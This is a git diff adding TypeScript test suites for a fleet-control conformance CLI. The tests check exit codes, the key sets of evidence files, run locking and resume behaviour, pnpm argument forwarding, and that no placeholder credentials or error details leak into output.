+      env: { ...env, FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: secret },
+      now,
+      modules: w.modules,
+    });
+    expect(result.exitCode).toBe(5);
+    expect(result.summary).toEqual({
+      code: 'evidence-failed',
+      evidenceWritten: false,
+    });
+    expectCredentialSafeOutput(result, {
+      ...env,
+      FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: secret,
+    });
+  });
+
+  it.each([
+    'https://example.invalid/signed?sig=opaque',
+    'upstream returned an unexpected response',
+  ])('refuses a malformed provider identity with exit 5 (%s)', async (fleetUuid) => {
+    const w = await world(fleetUuid);
+    const result = await w.run();
+    expect(result.exitCode).toBe(5);
+    expect(result.summary).toEqual({
+      code: 'evidence-failed',
+      refusalClass: 'identity-shape',
+      keyPath: 'retainedIdentities.fleetUuid',
+      evidenceWritten: false,
+    });
+    expect(result.stdoutLine).not.toContain(fleetUuid);
+    expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false);
+  });
+
+  it('normalizes unexpected exceptions without disclosing their name or message', async () => {
+    const w = await world();
+    w.modules.bootstrap.mockRejectedValue(
+      Object.assign(new Error('private-api-seed'), {
+        name: 'untrusted-name',
+        code: 'untrusted-code',
+      }),
+    );
+    const result = await w.run();
+    expect(result.exitCode).toBe(1);
+    expect(result.summary).toEqual({ code: 'internal-error' });
+    for (const forbidden of [
+      'private-api-seed',
+      'untrusted-name',
+      'untrusted-code',
+    ])
+      expect(result.stdoutLine).not.toContain(forbidden);
+  });
+
+  it.each([
+    null,
+    '',
+    'A'.repeat(40),
+    'a'.repeat(39),
+    'a'.repeat(41),
+    'a'.repeat(40),
+    'throw',
+    'timeout',
+  ])('validates the git seam result %s and keeps the summary under 4 KiB', async (value) => {
+    const w = await world();
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: w.f.configPath,
+      env,
+      now,
+      modules: w.modules,
+      git: () => {
+        if (value === 'throw' || value === 'timeout') throw new Error(value);
+        return value;
+      },
+    });
+    const artifact = JSON.parse(
+      await readFile(result.evidencePath as string, 'utf8'),
+    );
+    expect(artifact.commit).toBe(value === 'a'.repeat(40) ? value : null);
+    expectCredentialSafeOutput(result);
+  });
+
+  it('reads no credentials before successful local preflight', async () => {
+    const f = await fixture();
+    const unreadable = new Proxy(
+      {},
+      {
+        get() {
+          throw new Error('credential read');
+        },
+      },
+    );
+    for (const mode of ['help', 'preflight'] as const) {
+      const result = await runDirectConformance({
+        mode,
+        configPath: f.configPath,
+        env: unreadable,
+        now,
+      });
+      expect(result.exitCode).toBe(0);
+      expectCredentialSafeOutput(result, {});
+    }
+    const result = await runDirectConformance({
+      mode: 'run',
+      configPath: f.configPath,
+      env: unreadable,
+      modules: {
+        preflight: async () => {
+          throw new Error('preflight');
+        },
+      },
+    });
+    expect(result.exitCode).toBe(2);
+    expectCredentialSafeOutput(result, {});
+  });
+
+  it('reports the publication state when a byte hit collapses a summary without the flag', async () => {
+    const w = await world();
+    w.set({
+      teardown: { ...maximalTeardown(), phase: 'complete', failure: null },
+    });
+    const credentials = { ...env, CLOUDFLARE_API_TOKEN: 'E {"status"' };
+    const parse = JSON.parse;
+    let stripped = false;
+    const decode = vi
+      .spyOn(JSON, 'parse')
+      .mockImplementation((text, reviver) => {
+        const decoded = parse(text, reviver);
+        if (
+          !stripped &&
+          decoded !== null &&
+          typeof decoded === 'object' &&
+          'evidenceWritten' in decoded
+        ) {
+          stripped = true;
+          const { evidenceWritten: _flag, ...rest } = decoded;
+          return rest;
+        }
+        return decoded;
+      });
+    try {
+      const result = await runDirectConformance({
+        mode: 'run',
+        configPath: w.f.configPath,
+        env: credentials,
+        modules: w.modules,
+        now,
+        git: () => null,
+      });
+      expect(stripped).toBe(true);
+      expect(result.exitCode).toBe(5);
+      expect(result.stdoutLine).toBe(
+        'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n',
+      );
+      expect(existsSync(result.evidencePath as string)).toBe(true);
+      expectCredentialSafeOutput(result, credentials);
+    } finally {
+      decode.mockRestore();
+    }
+  });
+
+  it('reports a durability failure after replacement as exit 5 with evidence published', async () => {
+    const w = await world();
+    w.set({
+      teardown: { ...maximalTeardown(), phase: 'complete', failure: null },
+    });
+    const result = await runDirectConformance({
+      mode: 'resume',
+      configPath: w.f.configPath,
+      env,
+      now,
+      git: () => null,
+      modules: {
+        ...w.modules,
+        writeEvidence: async () => {
+          throw new DirectEvidenceWriteError();
+        },
+      },
+    });
+    expectCredentialSafeOutput(result);
+    expect(result).toMatchObject({
+      exitCode: 5,
+      // The artifact replaced its predecessor before the fault, so the run
+      // names the file it published.
+      evidencePath: join(w.journal.directory, 'evidence.json'),
+      summary: { code: 'evidence-failed', evidenceWritten: true },
+    });
+    expect(result.stdoutLine).toBe(
+      'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n',
+    );
+    expect(w.journal.close).toHaveBeenCalledOnce();
+  });
+
+  it('reports a failed evidence write as exit 5 after closing the journal', async () => {
+    const w = await world();
+    w.journal.directory = join(w.f.runDirectory, 'missing');
+    const result = await w.run();
+    expect(result).toMatchObject({
+      exitCode: 5,
+      summary: { code: 'evidence-failed', evidenceWritten: false },
+    });
+    expect(result.summary).not.toHaveProperty('status');
+    expect(w.journal.close).toHaveBeenCalledOnce();
+  });
+
+  it('proves pnpm forwarding by the printed argv at both hops', async () => {
+    const f = await fixture();
+    const pkg = join(f.directory, 'probe');
+    await mkdir(pkg);
+    await writeFile(
+      join(f.directory, 'pnpm-workspace.yaml'),
+      'packages:\n  - probe\n',
+    );
+    await writeFile(
+      join(f.directory, 'package.json'),
+      JSON.stringify({
+        private: true,
+        packageManager: 'pnpm@10.34.4',
+        scripts: { 'root:probe': 'pnpm --filter probe-pkg probe' },
+      }),
+    );
+    await writeFile(
+      join(pkg, 'package.json'),
+      JSON.stringify({
+        name: 'probe-pkg',
+        private: true,
+        scripts: { probe: 'node probe.mjs' },
+      }),
+    );
+    await writeFile(
+      join(pkg, 'probe.mjs'),
+      'console.log(JSON.stringify(process.argv.slice(2)));\n',
+    );
+    for (const [cwd, args] of [
+      [pkg, ['run', 'probe', '--', '--run']],
+      [f.directory, ['root:probe', '--', '--run']],
+    ] as const) {
+      const result = await child('pnpm', [...args], cwd);
+      const printed = result.stdout
+        .split('\n')
+        .filter((line) => line === '["--","--run"]');
+      process.stdout.write(`PNPM_FORWARDING ${JSON.stringify(printed)}\n`);
+      expect(printed).toEqual(['["--","--run"]']);
+    }
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts
new file mode 100644
index 00000000..3f6e5e52
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts
@@ -0,0 +1,406 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { existsSync } from 'node:fs';
+import { readdir, readFile, stat, unlink, writeFile } from 'node:fs/promises';
+import { dirname, join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { afterEach, beforeAll, describe, expect, it } from 'vitest';
+import {
+  DIRECT_CONFORMANCE_EXIT_CODES,
+  type runDirectConformance,
+} from '../scripts/direct-credentialed-conformance-runtime.mjs';
+import {
+  DIRECT_EVIDENCE_LITERALS,
+  inspectDirectEvidence,
+} from '../scripts/direct-credentialed-evidence.mjs';
+import {
+  DIRECT_RESIDUAL_SURFACES,
+  REFERENCE_SECRET_NAMES,
+} from '../scripts/direct-credentialed-reference-vocabulary.mjs';
+import { openDirectRunState } from '../scripts/direct-credentialed-run-state.mjs';
+import {
+  directBridgePreamble,
+  directModuleUrl,
+  spawnDirectChild,
+} from './fixtures/direct-cli-child.js';
+import { directObservationFixture } from './fixtures/direct-observations.js';
+import { createDirectReferenceHarness } from './fixtures/direct-reference-harness.js';
+import {
+  cleanupDirectRunState,
+  fixture as directRunStateFixture,
+} from './fixtures/direct-run-state-builder.js';
+
+const cleanup: Array<() => Promise<void>> = [];
+const apiToken = 'inert-provider-token';
+const invokeSecret = 'inert-invoke';
+const SUITE_TIMEOUT_MS = 900_000;
+// The child is killed a minute before the suite times out, so a hung run is
+// reported with the child's own output rather than as a suite timeout.
+const CHILD_TIMEOUT_MS = SUITE_TIMEOUT_MS - 60_000;
+const REFERENCE_REQUEST_TIMEOUT_MS = 30_000;
+const INVOCATION_TIMEOUT_MS = 600_000;
+const PROVIDER_REQUEST_BUDGET = 1000;
+
+afterEach(async () => {
+  for (const close of cleanup.splice(0).reverse()) await close();
+  await cleanupDirectRunState();
+});
+
+const childProcess = (args: string[], env: NodeJS.ProcessEnv = {}) =>
+  spawnDirectChild(args, { env, timeoutMs: CHILD_TIMEOUT_MS });
+
+async function fixture() {
+  const local = await directObservationFixture(
+    REFERENCE_REQUEST_TIMEOUT_MS,
+    'confirmed',
+    {
+      invocationTimeoutMs: INVOCATION_TIMEOUT_MS,
+      maxProviderRequests: PROVIDER_REQUEST_BUDGET,
+    },
+  );
+  cleanup.push(() => local.close());
+  const native = await createDirectReferenceHarness({
+    manifest: local.prepared.manifest,
+    binding: {
+      version: 1,
+      accountId: 'account',
+      fleetDatabaseId: 'fleet-id',
+      quotaDatabaseId: 'quota-id',
+      exportBucketName: local.prepared.names.exportBucket,
+      referenceModuleSetSha256: local.prepared.referenceModuleSetSha256,
+      accountWorkersDevSubdomain: 'attested-account',
+    },
+    maintenanceNow: Date.now,
+    applicationProbes: true,
+    nodeProviderRest: true,
+  });
+  cleanup.push(() => native.close());
+  const bootstrap = local.journal.snapshot().bootstrap;
+  if (
+    !bootstrap?.fleet ||
+    !bootstrap.quota ||
+    !bootstrap.exports ||
+    !bootstrap.active
+  )
+    throw new Error('confirmed fixture receipts absent');
+  native.world.zones.push({
+    id: 'zone',
+    name: local.prepared.config.ownedHostname,
+  });
+  const exportedDatabases = [bootstrap.fleet, bootstrap.quota];
+  for (const receipt of exportedDatabases)
+    native.world.seedDatabase(receipt.name, { databaseId: receipt.uuid });
+  native.buckets.set(
+    `${bootstrap.exports.jurisdiction}:${bootstrap.exports.name}`,
+    {
+      name: bootstrap.exports.name,
+      jurisdiction: bootstrap.exports.jurisdiction,
+      creation_date: bootstrap.exports.creationDate,
+    },
+  );
+  const bindings = [
+    { name: 'FLEET_DB', type: 'd1', database_id: bootstrap.fleet.uuid },
+    { name: 'QUOTA_DB', type: 'd1', database_id: bootstrap.quota.uuid },
+    { name: 'EXPORTS', type: 'r2_bucket', bucket_name: bootstrap.exports.name },
+    {
+      name: 'DIRECT_RUN_BINDING',
+      type: 'plain_text',
+      text: JSON.stringify(native.binding),
+    },
+    ...REFERENCE_SECRET_NAMES.map((name) => ({ name, type: 'secret_text' })),
+  ];
+  native.world.seedScript(local.prepared.names.referenceWorker, {
+    versions: [
+      {
+        versionId: bootstrap.active.versionId,
+        tag: undefined,
+        bindings,
+        mainModule: 'worker.js',
+        modules: [],
+      },
+    ],
+    deployment: [{ versionId: bootstrap.active.versionId, percentage: 100 }],
+    deploymentId: bootstrap.active.deploymentId,
+    subdomain: { enabled: true, previewsEnabled: false },
+  });
+  const runtime = local.prepared.config.referenceWorker;
+  native.versionRuntime.set(bootstrap.active.versionId, {
+    compatibility_date: runtime.compatibilityDate,
+    compatibility_flags: runtime.compatibilityFlags,
+    limits: {
+      cpu_ms: runtime.cpuLimitMs,
+      subrequests: runtime.subrequestLimit,
+    },
+  });
+  await local.journal.close();
+  return {
+    local,
+    native,
+    exportedDatabaseCount: exportedDatabases.length,
+    seededSecretCount: bindings.filter(
+      (binding) => binding.type === 'secret_text',
+    ).length,
+  };
+}
+
+async function drive(
+  f: Awaited<ReturnType<typeof fixture>>,
+  mode: 'run' | 'resume',
+) {
+  const script = join(f.local.directory, 'runtime.mjs');
+  await writeFile(
+    script,
+    `
+import { runDirectConformance } from ${JSON.stringify(directModuleUrl('direct-credentialed-conformance-runtime'))};
+${directBridgePreamble({
+  bridgeUrl: f.native.bridgeUrl,
+  workerOrigin: `https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`,
+  countRequests: true,
+})}const refusals = {
+  origin: await fetch('https://forbidden.test/probe').then(
+    () => null,
+    (error) => error.message,
+  ),
+  closed: await globalThis.fetch('https://api.cloudflare.com/probe').then(
+    () => null,
+    (error) => error.message,
+  ),
+};
+const result = await runDirectConformance({
+  mode: ${JSON.stringify(mode)}, configPath: ${JSON.stringify(f.local.configPath)},
+  env: { CLOUDFLARE_ACCOUNT_ID: 'account', CLOUDFLARE_API_TOKEN: ${JSON.stringify(apiToken)}, FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: ${JSON.stringify(invokeSecret)} }, fetch,
+});
+console.log('CLI_RESULT ' + JSON.stringify({ result, requests, refusals }));
+process.exitCode = result.exitCode;
+`,
+  );
+  const child = await childProcess([script]);
+  expect(child.stderr).toBe('');
+  const lines = child.stdout
+    .split('\n')
+    .filter((line) => line.startsWith('CLI_RESULT '));
+  expect(lines, child.stdout).toHaveLength(1);
+  const parsed = JSON.parse(lines[0]?.slice('CLI_RESULT '.length) ?? '') as {
+    result: Awaited<ReturnType<typeof runDirectConformance>>;
+    requests: number;
+    refusals: Record<string, string | null>;
+  };
+  expect(parsed.refusals).toEqual({
+    origin: 'unexpected child origin',
+    closed: 'unexpected child network',
+  });
+  expect(Object.values(DIRECT_CONFORMANCE_EXIT_CODES)).toContain(child.status);
+  return { ...parsed, status: child.status };
+}
+
+describe.sequential('direct credentialed CLI native offline acceptance', {
+  timeout: SUITE_TIMEOUT_MS,
+}, () => {
+  beforeAll(() => {
+    expect(
+      existsSync(new URL('../dist/index.js', import.meta.url)),
+      'run pnpm --filter @proofoftech/fleet-control build before acceptance',
+    ).toBe(true);
+  });
+
+  it('revalidates, restarts, cleans, rereads evidence, and refuses existing runs and concurrent resumes', async () => {
+    const f = await fixture();
+    const diagnostic = (step: Awaited<ReturnType<typeof drive>>) =>
+      JSON.stringify({
+        bridgeErrors: f.native.bridgeErrors,
+        requests: f.native.projection.requests
+          .slice(-12)
+          .map(({ method, url }) => ({ method, url })),
+        result: step.result.summary,
+      });
+    const sentinels = {
+      secrets: [apiToken, invokeSecret],
+      literals: DIRECT_EVIDENCE_LITERALS,
+    };
+    const first = await drive(f, 'resume');
+    expect(first.result, diagnostic(first)).toMatchObject({ exitCode: 3 });
+    // The run reports where it published; the layout is the runtime's, not a
+    // second derivation here.
+    const evidencePath = first.result.evidencePath as string;
+    const directory = dirname(evidencePath);
+    const evidence = async () =>
+      JSON.parse(await readFile(evidencePath, 'utf8'));
+    const interrupted = await evidence();
+    expect(interrupted).toMatchObject({
+      status: 'restart-required',
+      resumeCount: 1,
+    });
+    const second = await drive(f, 'resume');
+    expect(second.result, diagnostic(second)).toMatchObject({ exitCode: 0 });
+    expect(second.result.evidencePath).toBe(evidencePath);
+    const cleaned = await evidence();
+    expect(cleaned).toMatchObject({
+      status: 'cleaned',
+      resumeCount: 2,
+      teardownCall: { status: 'cleaned' },
+      teardown: { phase: 'complete', failure: null },
+    });
+    for (const key of ['ingress', 'fleet', 'quota', 'exports'])
+      expect(cleaned.teardown.receipts[key]).toMatchObject({
+        settledByReread: false,
+      });
+    expect(cleaned.teardown.receipts.worker).toMatchObject({
+      settledByReread: false,
+      secretNameCount: f.seededSecretCount,
+    });
+    expect(cleaned.teardown.receipts.exportObjects).toMatchObject({
+      count: f.exportedDatabaseCount,
+      settledByReread: 0,
+    });
+    const residual = cleaned.teardown.residual;
+    expect(residual).toMatchObject({
+      bucketJurisdictions: ['default'],
+      settleAttempts: 1,
+    });
+    expect(Object.keys(residual.surfaces).sort()).toEqual(
+      [...DIRECT_RESIDUAL_SURFACES].sort(),
+    );
+    for (const surface of Object.values(residual.surfaces) as Array<{
+      prefixCount: number;
+      globalCount: number;
+    }>) {
+      expect(surface.prefixCount).toBe(0);
+      expect(surface.globalCount).toBe(0);
+    }
+    expect(residual.dispatch.prefixCount).toBe(0);
+    expect(residual.versionsGone).toBe(true);
+    expect(residual.dispatch.kind).toBe('empty');
+    expect(residual.dispatch.count).toBe(0);
+    expect(cleaned.retainedIdentities).toEqual({
+      fleetUuid: null,
+      quotaUuid: null,
+      exportBucket: null,
+      scriptName: null,
+      activeVersionId: null,
+    });
+    expect((await stat(evidencePath)).mode & 0o777).toBe(0o600);
+    expect(await readdir(directory)).not.toEqual(
+      expect.arrayContaining([expect.stringMatching(/\.tmp$/u)]),
+    );
+    for (const document of [interrupted, cleaned])
+      expect(inspectDirectEvidence(document, sentinels).hit).toBeNull();
+    const third = await drive(f, 'resume');
+    expect(third).toMatchObject({ status: 0, requests: 0 });
+    expect(third.result.evidencePath).toBe(evidencePath);
+    const reread = await evidence();
+    expect(reread).toMatchObject({ resumeCount: 3, teardownCall: null });
+    const mask = new Set([
+      'finishedAt',
+      'mode',
+      'exitCode',
+      'status',
+      'resumeCount',
+      'teardownCall',
+    ]);
+    const durable = (value: object) =>
+      Object.fromEntries(
+        Object.entries(value).filter(([key]) => !mask.has(key)),
+      );
+    for (const document of [cleaned, reread]) {
+      expect(document).toMatchObject({
+        mode: 'resume',
+        exitCode: 0,
+        status: 'cleaned',
+      });
+      expect(inspectDirectEvidence(document, sentinels).hit).toBeNull();
+    }
+    expect(durable(reread)).toEqual(durable(cleaned));
+    await unlink(evidencePath);
+    const journalPath = join(directory, 'journal.json');
+    const before = await readFile(journalPath, 'utf8');
+    const siblings = await readdir(
+      join(f.local.directory, '.direct-conformance'),
+    );
+    const fourth = await drive(f, 'run');
+    expect(fourth).toMatchObject({
+      status: 1,
+      requests: 0,
+      result: { evidencePath: null, summary: { code: 'run-exists' } },
+    });
+    expect(existsSync(evidencePath)).toBe(false);
+    const holder = await openDirectRunState({
+      configPath: f.local.configPath,
+      prepared: f.local.prepared,
+      accountId: 'account',
+      mode: 'resume',
+    });
+    let fifth: Awaited<ReturnType<typeof drive>>;
+    try {
+      fifth = await drive(f, 'resume');
+      expect(fifth).toMatchObject({
+        status: 1,
+        requests: 0,
+        result: { evidencePath: null, summary: { code: 'lock-unavailable' } },
+      });
+      expect(existsSync(evidencePath)).toBe(false);
+      expect(await readFile(journalPath, 'utf8')).toBe(before);
+      expect(
+        await readdir(join(f.local.directory, '.direct-conformance')),
+      ).toEqual(siblings);
+    } finally {
+      await holder.close();
+    }
+    expect(f.native.bridgeErrors).toEqual([]);
+    process.stdout.write(
+      `CLI_ACCEPTANCE ${JSON.stringify({ exits: [first.status, second.status, third.status, fourth.status, fifth.status], statuses: [interrupted.status, cleaned.status, reread.status], resumeCounts: [interrupted.resumeCount, cleaned.resumeCount, reread.resumeCount], residual, retainedIdentities: cleaned.retainedIdentities, teardownCall: reread.teardownCall })}\n`,
+    );
+  });
+
+  it('runs the real entry for preflight and help and pins both workspace scripts', async () => {
+    const local = await directRunStateFixture();
+    const entry = fileURLToPath(
+      new URL(
+        '../scripts/direct-credentialed-conformance.mjs',
+        import.meta.url,
+      ),
+    );
+    const attemptsPath = join(local.directory, 'network-attempts.json');
+    const guard = join(local.directory, 'network-guard.mjs');
+    await writeFile(
+      guard,
+      `import { writeFileSync } from 'node:fs';
+const attempts = [];
+globalThis.fetch = async (input) => {
+  attempts.push(new Request(input).url);
+  throw new Error('unexpected entry network');
+};
+process.on('exit', () => writeFileSync(${JSON.stringify(attemptsPath)}, JSON.stringify(attempts)));
+`,
+    );
+    const attempts = async () =>
+      JSON.parse(await readFile(attemptsPath, 'utf8')) as string[];
+    const preflight = await childProcess(
+      ['--import', guard, entry, '--preflight'],
+      {
+        FLEET_DIRECT_CONFORMANCE_CONFIG: local.configPath,
+      },
+    );
+    expect(preflight.status).toBe(0);
+    expect(preflight.stderr).toBe('');
+    expect(preflight.stdout.trim().split('\n')).toHaveLength(1);
+    expect(preflight.stdout).toMatch(/^DIRECT_CONFORMANCE /u);
+    expect(await attempts()).toEqual([]);
+    const help = await childProcess(['--import', guard, entry, '--help']);
+    expect(help.status).toBe(0);
+    expect(help.stderr).toBe('');
+    expect(help.stdout).toContain('--resume');
+    expect(await attempts()).toEqual([]);
+    const manifest = JSON.parse(
+      await readFile(new URL('../package.json', import.meta.url), 'utf8'),
+    );
+    const root = JSON.parse(
+      await readFile(new URL('../../../package.json', import.meta.url), 'utf8'),
+    );
+    expect(manifest.scripts['test:credentialed:direct']).toBe(
+      'pnpm build && node scripts/direct-credentialed-conformance.mjs',
+    );
+    expect(root.scripts['fleet-control:credentialed:direct']).toBe(
+      'pnpm --filter @proofoftech/fleet-control test:credentialed:direct',
+    );
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-evidence.test.ts b/packages/fleet-control/test/direct-credentialed-evidence.test.ts
new file mode 100644
index 00000000..94d840c1
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-evidence.test.ts
@@ -0,0 +1,891 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { chmod, readdir, readFile, stat, writeFile } from 'node:fs/promises';
+import { join } from 'node:path';
+import { afterEach, describe, expect, it } from 'vitest';
+import {
+  buildDirectEvidence,
+  DIRECT_CONFORMANCE_COMMANDS,
+  DIRECT_EVIDENCE_IDENTITY_PATHS,
+  DIRECT_EVIDENCE_KEYS,
+  DIRECT_EVIDENCE_LITERALS,
+  inspectDirectEvidence,
+  writeDirectEvidence,
+} from '../scripts/direct-credentialed-evidence.mjs';
+import { DIRECT_RESIDUAL_SURFACES } from '../scripts/direct-credentialed-reference-vocabulary.mjs';
+import { DIRECT_SCENARIO_PHASES } from '../scripts/direct-credentialed-scenario-budget.mjs';
+import {
+  cleanupDirectRunState,
+  completeScenarioJournal,
+  maximalScenario,
+  maximalTeardown,
+  present,
+} from './fixtures/direct-run-state-builder.js';
+
+const topKeys = [
+  'version',
+  'contractVersion',
+  'packageVersion',
+  'commit',
+  'mode',
+  'status',
+  'exitCode',
+  'startedAt',
+  'finishedAt',
+  'resumeCount',
+  'accountIdSha256Suffix',
+  'zoneIdSha256Suffix',
+  'resourcePrefix',
+  'maxInvocations',
+  'disposableAccount',
+  'configSha256',
+  'referenceModuleSetSha256',
+  'referenceUploadBytes',
+  'commands',
+  'bootstrap',
+  'scenario',
+  'teardown',
+  'teardownCall',
+  'retainedIdentities',
+  'cost',
+];
+const sentinels = {
+  secrets: ['private-api-seed', 'private-invoke-seed'],
+  literals: DIRECT_EVIDENCE_LITERALS,
+};
+afterEach(cleanupDirectRunState);
+const object = (value: unknown): Record<string, unknown> => {
+  expect(value).toBeTypeOf('object');
+  expect(value).not.toBeNull();
+  return value as Record<string, unknown>;
+};
+const keys = (value: unknown, expected: readonly string[]) =>
+  expect(Object.keys(object(value))).toEqual(expected);
+// The publication path inspects; a test that only wants the verdict reads the
+// same inspection's `hit`.
+const inspected = (
+  evidence: object,
+  sentinels: { secrets: readonly string[]; literals: readonly string[] },
+) => inspectDirectEvidence(evidence, sentinels).hit;
+const leafAt = (document: unknown, keyPath: string) =>
+  keyPath
+    .split('.')
+    .reduce<unknown>(
+      (value, key) => (value == null ? value : object(value)[key]),
+      document,
+    );
+
+async function evidenceFixture() {
+  const { f, journal } = await completeScenarioJournal();
+  const scenario = maximalScenario();
+  const teardown = maximalTeardown();
+  const snapshot = { ...journal.snapshot(), scenario, teardown };
+  const evidence = buildDirectEvidence({
+    snapshot,
+    prepared: f.prepared,
+    mode: 'resume',
+    outcome: {
+      status: 'cleaned',
+      exitCode: 0,
+      teardownCall: { status: 'cleaned', failure: null, providerRequests: 12 },
+    },
+    times: { finishedAt: '2026-09-13T00:00:00.000Z' },
+    commit: 'a'.repeat(40),
+  });
+  return { f, journal, snapshot, evidence };
+}
+
+describe.sequential('direct evidence', () => {
+  it('covers every projected key with the admission vocabulary', async () => {
+    const { evidence } = await evidenceFixture();
+    const vocabulary = new Set(DIRECT_EVIDENCE_KEYS);
+    // Array elements are addressed by index rather than by a projected name;
+    // admission covers those through its digits-only rule instead.
+    const walk = (value: unknown, found: Set<string>) => {
+      if (Array.isArray(value)) for (const child of value) walk(child, found);
+      else if (value && typeof value === 'object')
+        for (const [key, child] of Object.entries(value)) {
+          found.add(key);
+          walk(child, found);
+        }
+      return found;
+    };
+    const projected = [...walk(evidence, new Set<string>())];
+    // A projected key outside the list is a credential collision admission
+    // would not have refused, so this walk is the list's completeness check.
+    expect(projected.filter((key) => !vocabulary.has(key))).toEqual([]);
+    expect(Object.isFrozen(DIRECT_EVIDENCE_KEYS)).toBe(true);
+    expect(new Set(DIRECT_EVIDENCE_KEYS).size).toBe(
+      DIRECT_EVIDENCE_KEYS.length,
+    );
+    expect(evidence.commands).toEqual([
+      DIRECT_CONFORMANCE_COMMANDS.run,
+      DIRECT_CONFORMANCE_COMMANDS.resume,
+    ]);
+  });
+
+  it('pins the allowlist key set and order at every projected shape', async () => {
+    const { evidence, f, snapshot } = await evidenceFixture();
+    keys(evidence, topKeys);
+    process.stdout.write(
+      `EVIDENCE_KEYS ${JSON.stringify(Object.keys(evidence))}\n`,
+    );
+    keys(evidence.bootstrap, ['dispatch', 'activeVersionId']);
+    keys(object(evidence.bootstrap).dispatch, ['kind', 'count']);
+    keys(evidence.scenario, [
+      'phase',
+      'failure',
+      'invocationCount',
+      'sdkRequests',
+      'attempts',
+      'phaseCalls',
+      'restart',
+      'initial',
+      'candidate',
+      'final',
+      'fence',
+      'exports',
+      'inventories',
+      'terminalForce',
+    ]);
+    keys(evidence.cost, [
+      'basis',
+      'referenceProvider',
+      'referenceMaintenance',
+      'referenceApplication',
+      'sdkRequests',
+      'referenceInvocations',
+      'teardownProvider',
+      'billed',
+    ]);
+    expect(evidence.cost).toEqual({
+      basis: 'request-counters',
+      referenceProvider: snapshot.scenario.attempts.provider,
+      referenceMaintenance: snapshot.scenario.attempts.maintenance,
+      referenceApplication: snapshot.scenario.attempts.application,
+      sdkRequests: snapshot.scenario.sdkRequests,
+      referenceInvocations: snapshot.invocationCount,
+      teardownProvider: snapshot.teardown.providerRequests,
+      billed: null,
+    });
+    for (const key of [
+      'referenceProvider',
+      'referenceMaintenance',
+      'referenceApplication',
+      'sdkRequests',
+      'referenceInvocations',
+      'teardownProvider',
+    ])
+      expect(object(evidence.cost)[key]).toBeTypeOf('number');
+    const scenario = object(evidence.scenario);
+    keys(scenario.inventories, ['before', 'after']);
+    for (const when of ['before', 'after'] as const) {
+      keys(object(scenario.inventories)[when], ['routeHostnames']);
+      expect(object(scenario.inventories)[when]).toEqual({
+        routeHostnames:
+          snapshot.scenario.proofs.inventories[when]?.routeHostnames,
+      });
+    }
+    keys(scenario.terminalForce, ['a']);
+    const forced = object(object(scenario.terminalForce).a);
+    keys(forced, ['databaseId', 'scriptName', 'ordinal', 'attempts']);
+    keys(forced.attempts, ['provider', 'maintenance', 'application']);
+    expect(scenario.terminalForce).toEqual(
+      snapshot.scenario.proofs.terminalForce,
+    );
+    expect(scenario.invocationCount).toBe(snapshot.invocationCount);
+    keys(scenario.attempts, ['provider', 'maintenance', 'application']);
+    keys(scenario.phaseCalls, DIRECT_SCENARIO_PHASES);
+    keys(scenario.restart, ['lossOrdinal', 'replayOrdinal', 'resumedProcess']);
+    keys(scenario.initial, ['a', 'b', 'recovery']);
+    for (const role of ['a', 'b', 'recovery'])
+      keys(object(scenario.initial)[role], ['versionId', 'cpuLimitMs']);
+    for (const group of ['candidate', 'final']) {
+      keys(scenario[group], ['a', 'b']);
+      for (const role of ['a', 'b'])
+        keys(object(scenario[group])[role], [
+          'versionId',
+          'cpuLimitMs',
+          'trafficPercentage',
+        ]);
+    }
+    keys(scenario.fence, ['drain', 'sweeps', 'reopen', 'probes']);
+    const fence = object(scenario.fence);
+    for (const group of Object.values(fence)) keys(group, ['a', 'b']);
+    const readingKeys = [
+      'state',
+      'mutationEpoch',
+      'requireMutationEpoch',
+      'transitionRevision',
+    ];
+    for (const group of ['drain', 'reopen'])
+      for (const role of ['a', 'b']) {
+        const transition = object(object(fence[group])[role]);
+        keys(transition, ['before', 'after']);
+        keys(transition.before, readingKeys);
+        keys(transition.after, readingKeys);
+      }
+    keys(scenario.exports, ['a', 'b']);
+    for (const role of ['a', 'b']) {
+      const sweeps = object(object(fence.sweeps)[role]);
+      keys(sweeps, ['first', 'second', 'intervalMs']);
+      for (const key of ['first', 'second']) {
+        keys(sweeps[key], [
+          'fence',
+          'categoryCount',
+          'workCount',
+          'standingCount',
+          'emptyCount',
+        ]);
+        keys(object(sweeps[key]).fence, readingKeys);
+      }
+      keys(object(fence.probes)[role], [
+        'current',
+        'missing',
+        'stale',
+        'future',
+        'mutationEpoch',
+      ]);
+      keys(object(scenario.exports)[role], ['location', 'size', 'sha256']);
+    }
+    keys(evidence.teardown, [
+      'failure',
+      'phase',
+      'providerRequests',
+      'receipts',
+      'residual',
+    ]);
+    const teardown = object(evidence.teardown);
+    expect(teardown).not.toHaveProperty('status');
+    keys(teardown.receipts, [
+      'ingress',
+      'worker',
+      'fleet',
+      'quota',
+      'exports',
+      'exportObjects',
+    ]);
+    const receipts = object(teardown.receipts);
+    for (const key of ['ingress', 'fleet', 'quota', 'exports'])
+      keys(receipts[key], ['settledByReread']);
+    keys(receipts.worker, ['settledByReread', 'secretNameCount']);
+    keys(receipts.exportObjects, ['count', 'settledByReread']);
+    keys(teardown.residual, [
+      'surfaces',
+      'bucketJurisdictions',
+      'dispatch',
+      'versionsGone',
+      'settleAttempts',
+    ]);
+    const residual = object(teardown.residual);
+    keys(residual.surfaces, DIRECT_RESIDUAL_SURFACES);
+    for (const value of Object.values(object(residual.surfaces)))
+      keys(value, ['prefixCount', 'globalCount', 'exhaustive']);
+    keys(residual.dispatch, ['kind', 'count', 'status', 'prefixCount']);
+    expect(residual.bucketJurisdictions).toEqual(
+      snapshot.teardown.residual?.bucketJurisdictions,
+    );
